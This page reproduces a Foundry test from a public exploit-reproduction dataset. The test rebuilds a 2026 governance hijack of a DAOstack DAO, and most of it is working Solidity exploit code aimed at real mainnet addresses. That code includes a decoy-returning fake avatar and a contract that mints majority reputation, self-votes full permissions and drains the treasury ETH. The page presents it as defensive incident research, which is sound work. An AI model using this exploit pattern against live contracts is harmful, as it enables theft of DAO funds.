Public reproduction file
src/test/2026-09/DAOstack_exp.sol
Public reproduction file for dataset entry DAOstack.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.16;4import "../basetest.sol";6// DAOstack Genesis Alpha - governance hijack via permissionless UController.newOrganization.7// Ethereum mainnet, 2026-09.8//9// Attack tx : 0xcfff7b060a7fb881f4bd8d2498dbe4e09454f7afaf5328fc12b59812f6737cc110// Block : 26059090 (fork at parent 26059089)11// Attacker : EOA 0x5cF6bf4197c13b9C0Ae4AECC6Eb10Ef61bC6bEB0. The tx `to` is EMPTY, so this is a12// CONTRACT-CREATION transaction: the attacker's factory (0xa90BBd7f...) ran the whole13// attack from its constructor, which deployed a logic contract (0x304A8E57...) and14// called run() on it. This PoC reconstructs that logic contract as DAOstackExploit.15//16// Contracts (Ethereum, chainid 1) - NONE are verified on Etherscan, so every call below uses the17// exact 4-byte selector recovered from the attack trace with real typed arguments. This is a18// structural reconstruction from decoded values, not a raw-calldata blob or a bytecode replay.19// UController (shared DAOstack controller, owns the Reputation) : 0xD5bEe5D9Ae589094c51e533f35656963fdA8730520// Genesis Alpha DAO Avatar / treasury (victim) : 0x7b11dFb29504abc8C0DFa60DC7E0Aa2AAe836DB021// Reputation (voting weight, Ownable by the UController) : 0x6256294145fb529dB7B248Eb86b4E6ef30F55BF922// Native token GDT (Ownable by the UController) : 0xe30a71938b743d126E977A2b3F7450484F209a3423// SchemeRegistrar : 0x781f48F300f9c2f4862347537927FC9Dc48415E024// GenesisProtocol voting machine : 0xFBaEf31bdEaCFA0a7902123005288784Dcc1EEba25//26// Selectors verified with `cast sig` against the trace-decoded calls:27// newOrganization(address) 0xb9981364 (UController)28// mintReputation(uint256,address,address) 0xeaf994b2 (UController)29// sendEther(uint256,address,address) 0x634965da (UController)30// proposeScheme(address,address,bytes32,bytes4) 0x1c940d51 (SchemeRegistrar)31// vote(bytes32,uint256) 0x9ef1204c (GenesisProtocol)32//33// ROOT CAUSE (confirmed empirically against the fork and the on-chain trace, since source is34// unverified):35// The DAO's Reputation contract is Ownable by the SHARED UController (verified on fork:36// Reputation.owner() == UController, and Avatar.owner() == UController). UController.newOrganization37// is permissionless - it takes a caller-supplied avatar, reads that avatar's own38// nativeReputation()/nativeToken(), stores them as the new org, and registers msg.sender as a39// full-permission (0x1F) scheme over that org. It NEVER checks that the reputation is already40// governed by another organization. Proof it is unguarded: in the trace, msg.sender was the41// attacker's brand-new contract with no prior relationship to the DAO, and the call succeeded42// (see testNewOrganizationIsPermissionless below, which re-derives this from a fresh unrelated43// address on the live fork).44//45// So the attacker registered a fake avatar that reports the VICTIM's real Reputation as its own,46// became a mint-authorized scheme over it, and had the UController (the Reputation's owner) mint47// reputation to the attacker. With majority reputation the attacker used SchemeRegistrar's48// propose/self-vote/execute flow to install itself as a 0x1F scheme on the REAL avatar, then49// called sendEther to drain the treasury.50//51// THE FAKE AVATAR IS A SHAPE-SHIFTER (mirrors the on-chain helper 0xD9902ea5... exactly). In the52// trace its getters return a freshly-deployed decoy on the FIRST read of each and the victim's REAL53// contracts on every read after that:54// nativeReputation(): call #1 -> decoy 0x7f7d02dd... , calls #2+ -> real 0x6256294145fb...55// nativeToken(): call #1 -> decoy 0x20aef079... , calls #2+ -> real 0xe30a71938b...56// owner(): -> UController57// newOrganization reads each getter several times; the read it uses for storage returns the real58// reputation, so the registered org points at the victim's real Reputation (confirmed: the later59// mintReputation minted on 0x6256294145fb...). This PoC reproduces that exact per-getter fake-first60// behaviour; it does not need to know which internal read fed which check, because the real61// UController on the fork responds identically to the identical getter behaviour.62//63// FLOW / NUMBERS (from the trace and confirmed on the fork at block 26059089):64// Reputation.totalSupply before : 9,738.627137e1865// mintReputation minted : 20,000e18 to the attacker scheme -> supply 29,738.627137e1866// GenesisProtocol burns : 200e18 from the attacker as vote cost -> net attacker 19,800e18,67// supply 29,538.627137e18 (matches the reported 19,800 / 29,538)68// Avatar ETH balance at fork : exactly 4.025 ETH69// sendEther drains : 4.025 ETH (the full treasury balance)71interface IUController {72 function newOrganization(address _avatar) external;73 function mintReputation(uint256 _amount, address _to, address _avatar) external returns (bool);74 function sendEther(uint256 _amountInWei, address _to, address _avatar) external returns (bool);75}77interface ISchemeRegistrar {78 function proposeScheme(79 address _avatar,80 address _scheme,81 bytes32 _parametersHash,82 bytes4 _permissions83 ) external returns (bytes32);84}86interface IGenesisProtocol {87 function vote(bytes32 _proposalId, uint256 _vote) external returns (bool);88}90interface IReputation {91 function totalSupply() external view returns (uint256);92 function reputationOf(address _owner) external view returns (uint256);93}95// A do-nothing contract with nonzero code size, used as the first-read decoy for the fake avatar's96// getters (the on-chain helper deployed 57-byte stubs for this; newOrganization only ever reads97// them as addresses, never calls into them).98contract Stub {}100// Reconstruction of the attacker's fake avatar (on-chain 0xD9902ea5...). Reports the victim's real101// Reputation/token as its own, but returns a decoy on the first read of each getter, exactly as the102// trace shows.103contract FakeAvatar {104 address public immutable controller; // returned by owner()105 address public immutable realReputation;106 address public immutable realToken;107 address public immutable decoyReputation;108 address public immutable decoyToken;110 uint256 private repReads;111 uint256 private tokenReads;113 constructor(address _controller, address _realReputation, address _realToken) {114 controller = _controller;115 realReputation = _realReputation;116 realToken = _realToken;117 decoyReputation = address(new Stub());118 decoyToken = address(new Stub());119 }121 function owner() external view returns (address) {122 return controller;123 }125 function nativeReputation() external returns (address) {126 repReads += 1;127 return repReads == 1 ? decoyReputation : realReputation;128 }130 function nativeToken() external returns (address) {131 tokenReads += 1;132 return tokenReads == 1 ? decoyToken : realToken;133 }134}136// Reconstruction of the attacker's logic/scheme contract (on-chain 0x304A8E57...). It is the137// msg.sender to newOrganization, the scheme installed with 0x1F permissions, the reputation holder138// that votes, and the recipient of the drained ETH. It forwards the proceeds to its deployer.139contract DAOstackExploit {140 IUController constant UCONTROLLER = IUController(0xD5bEe5D9Ae589094c51e533f35656963fdA87305);141 ISchemeRegistrar constant SCHEME_REGISTRAR = ISchemeRegistrar(0x781f48F300f9c2f4862347537927FC9Dc48415E0);142 IGenesisProtocol constant VOTING_MACHINE = IGenesisProtocol(0xFBaEf31bdEaCFA0a7902123005288784Dcc1EEba);144 address constant VICTIM_AVATAR = 0x7b11dFb29504abc8C0DFa60DC7E0Aa2AAe836DB0;145 address constant REAL_REPUTATION = 0x6256294145fb529dB7B248Eb86b4E6ef30F55BF9;146 address constant REAL_TOKEN = 0xe30a71938b743d126E977A2b3F7450484F209a34;148 uint256 constant MINT_AMOUNT = 20_000e18; // gives the attacker a >66% majority of reputation149 uint256 constant DRAIN_AMOUNT = 4.025 ether; // the avatar's full ETH balance at the fork block151 address immutable beneficiary;153 constructor() {154 beneficiary = msg.sender;155 }157 function run() external {158 // 1. Deploy the shape-shifting fake avatar that reports the victim's real Reputation/token.159 FakeAvatar fakeAvatar = new FakeAvatar(address(UCONTROLLER), REAL_REPUTATION, REAL_TOKEN);161 // 2. Register as a full-permission scheme over an org that points at the real Reputation.162 // Permissionless: this contract has no prior relationship to the DAO.163 UCONTROLLER.newOrganization(address(fakeAvatar));165 // 3. The UController owns the real Reputation, so as a mint-authorized scheme we mint a166 // majority stake to ourselves on the VICTIM's real Reputation.167 require(UCONTROLLER.mintReputation(MINT_AMOUNT, address(this), address(fakeAvatar)), "mint failed");169 // 4. Propose installing ourselves as a 0x1F (all-permissions) scheme on the REAL avatar,170 // then self-vote YES. Our fresh majority passes and executes it in one shot.171 bytes32 proposalId =172 SCHEME_REGISTRAR.proposeScheme(VICTIM_AVATAR, address(this), bytes32(0), bytes4(0x0000001f));173 require(VOTING_MACHINE.vote(proposalId, 1), "vote failed");175 // 5. Now a full-permission scheme on the real avatar: drain its ETH treasury to ourselves.176 require(UCONTROLLER.sendEther(DRAIN_AMOUNT, address(this), VICTIM_AVATAR), "sendEther failed");178 // Forward the proceeds to the deployer (the attacker EOA in the real incident).179 (bool ok,) = beneficiary.call{value: address(this).balance}("");180 require(ok, "forward failed");181 }183 receive() external payable {}184}186contract DAOstackExploitTest is BaseTestWithBalanceLog {187 IReputation constant REPUTATION = IReputation(0x6256294145fb529dB7B248Eb86b4E6ef30F55BF9);188 IUController constant UCONTROLLER = IUController(0xD5bEe5D9Ae589094c51e533f35656963fdA87305);189 address constant VICTIM_AVATAR = 0x7b11dFb29504abc8C0DFa60DC7E0Aa2AAe836DB0;190 address constant REAL_TOKEN = 0xe30a71938b743d126E977A2b3F7450484F209a34;192 function setUp() public {193 vm.createSelectFork("mainnet", 26_059_089); // parent of the attack block 26059090194 fundingToken = address(0); // profit is native ETH195 }197 receive() external payable {}199 function testExploit() public balanceLog {200 uint256 supplyBefore = REPUTATION.totalSupply();201 uint256 avatarEthBefore = VICTIM_AVATAR.balance;202 assertEq(avatarEthBefore, 4.025 ether, "avatar treasury precondition");204 DAOstackExploit exploit = new DAOstackExploit();205 exploit.run();207 // The attacker minted a majority stake on the DAO's real Reputation.208 uint256 supplyAfter = REPUTATION.totalSupply();209 assertEq(supplyAfter - supplyBefore, 20_000e18 - 200e18, "net reputation minted (mint 20000 - 200 vote cost)");211 // Treasury drained: the avatar's ETH is gone and it landed with the attacker (this test).212 assertEq(VICTIM_AVATAR.balance, 0, "avatar drained");213 assertApproxEqAbs(address(this).balance, 4.025 ether, 1e15, "reproduced drain approximates 4.025 ETH");214 }216 // Confirms the CONFIRM item: newOrganization is genuinely permissionless and has no guard tying217 // a Reputation to a single controlling organization. From a fresh, unrelated address we register218 // a new org over the SAME real Reputation and mint to ourselves - which must be impossible if any219 // access control or reputation-uniqueness check existed.220 function testNewOrganizationIsPermissionless() public {221 address stranger = makeAddr("stranger");222 uint256 before = REPUTATION.reputationOf(stranger);223 assertEq(before, 0, "stranger starts with no reputation");225 vm.startPrank(stranger);226 FakeAvatar fakeAvatar = new FakeAvatar(227 address(UCONTROLLER), 0x6256294145fb529dB7B248Eb86b4E6ef30F55BF9, REAL_TOKEN228 );229 UCONTROLLER.newOrganization(address(fakeAvatar)); // no revert -> no access control230 bool ok = UCONTROLLER.mintReputation(1234e18, stranger, address(fakeAvatar));231 vm.stopPrank();233 assertTrue(ok, "mint on the victim's reputation succeeded for an arbitrary caller");234 assertEq(235 REPUTATION.reputationOf(stranger) - before,236 1234e18,237 "arbitrary caller minted on a reputation it never owned - no uniqueness guard"238 );239 }240}Analysis
Dataset entry
Public Foundry test for “DAOstack” (2026-09-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2026-09/BeatXswap_exp.solSame month in the dataset · 266 lines
- src/test/2026-09/BonfireSwap_exp.solSame month in the dataset · 141 lines
- src/test/2026-09/CozyFinance_exp.solSame month in the dataset · 262 lines
- src/test/2026-09/DHC_exp.solSame month in the dataset · 236 lines
- src/test/2026-09/DoinGud_exp.solSame month in the dataset · 195 lines
- src/test/2026-09/EnsoFinance_exp.solSame month in the dataset · 193 lines
- src/test/2026-09/EtherFiAtomicQueue_exp.solSame month in the dataset · 255 lines
- src/test/2026-09/Flamincome_exp.solSame month in the dataset · 287 lines
- src/test/2026-09/GaslessReservoirEnabler_exp.solSame month in the dataset · 178 lines
- src/test/2026-09/GDC_exp.solSame month in the dataset · 321 lines
- src/test/2026-09/InternetToken_exp.solSame month in the dataset · 265 lines
- src/test/2026-09/Likwid_exp.solSame month in the dataset · 177 lines
- src/test/2026-09/LPBonus_exp.solSame month in the dataset · 198 lines
- src/test/2026-09/MUS_exp.solSame month in the dataset · 124 lines
- src/test/2026-09/Nimiq_exp.solSame month in the dataset · 408 lines
- src/test/2026-09/NotionalFinance_exp.solSame month in the dataset · 292 lines
- src/test/2026-09/OMNI404_exp.solSame month in the dataset · 192 lines
- src/test/2026-09/ORB_exp.solSame month in the dataset · 272 lines
- src/test/2026-09/OrderFactory_exp.solSame month in the dataset · 179 lines
- src/test/2026-09/PancakeV3SwapHelper_exp.solSame month in the dataset · 188 lines
- src/test/2026-09/PositionManager_exp.solSame month in the dataset · 170 lines
- src/test/2026-09/PrimeFinance_exp.solSame month in the dataset · 174 lines
- src/test/2026-09/Reddio_exp.solSame month in the dataset · 238 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x5cf6bf4197c13b9c0ae4aecc6eb10ef61bc6beb0
- Attack Tx
0xcfff7b060a7fb881f4bd8d2498dbe4e09454f7afaf5328fc12b59812f6737cc1
File record
- Name
- DAOstack
- Path
- src/test/2026-09/DAOstack_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 9a086e6016b1a5b8c093c8794259fc20f01410f5
- Language
- Solidity
- Size
- 241 lines
- Date
- 2026-09-26
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-09/DAOstack_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9a086e6016b1a5b8c093c8794259fc20f01410f5, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.